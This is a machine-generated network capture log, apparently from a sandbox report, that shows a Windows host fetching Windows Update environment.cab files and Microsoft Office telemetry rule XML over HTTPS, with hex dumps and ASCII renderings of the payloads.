2024-10-11 18:29:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-11 18:29:16 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	59264	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:21 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-10-11 18:29:21 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: b6o1Tiank0+A1ERY.0 MS-RequestId: 55d04bd3-c881-444f-bcb4-fdfdc10d4e5d MS-CorrelationId: ac44d952-b3b4-459a-9c99-17b67681b33b X-Content-Type-Options: nosniff Date: Fri, 11 Oct 2024 18:29:21 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	59265	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9Zgx8mulS7E7VTG&MD=cKB8cD8p HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-11 18:29:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 69edc417-a82c-48c8-b062-1a8d3115e782 MS-RequestId: 12c3a81e-16f1-48fd-a5a4-0cfa55d1f709 MS-CV: euY44CWzy0yfJ0z3.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 11 Oct 2024 18:29:22 GMT Connection: close Content-Length: 24490
2024-10-11 18:29:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-11 18:29:23 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	59266	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:24 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9Zgx8mulS7E7VTG&MD=cKB8cD8p HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-11 18:29:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: fdaeff14-1a16-4661-be62-c94a1531826c MS-RequestId: 577bb51a-0a36-4d3e-b4cd-949a700d20cf MS-CV: NG6EE7vuoUqy+hmT.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 11 Oct 2024 18:29:23 GMT Connection: close Content-Length: 30005
2024-10-11 18:29:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-11 18:29:24 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	57921	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:58 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:29:58 UTC	561	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:29:58 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 10 Oct 2024 22:59:49 GMT ETag: "0x8DCE97F3E383602" x-ms-request-id: c0577c57-401e-0015-067d-1b0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T182958Z-1597f696844tbmpv2gk8sfx5g000000003wg000000008e3f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:29:58 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-11 18:29:58 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	57924	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:29:59 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:29:59 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:29:59 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 38350f62-a01e-0021-1402-1a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T182959Z-1597f69684422wgj3u8kq0401g000000019000000000x1hy x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:29:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" 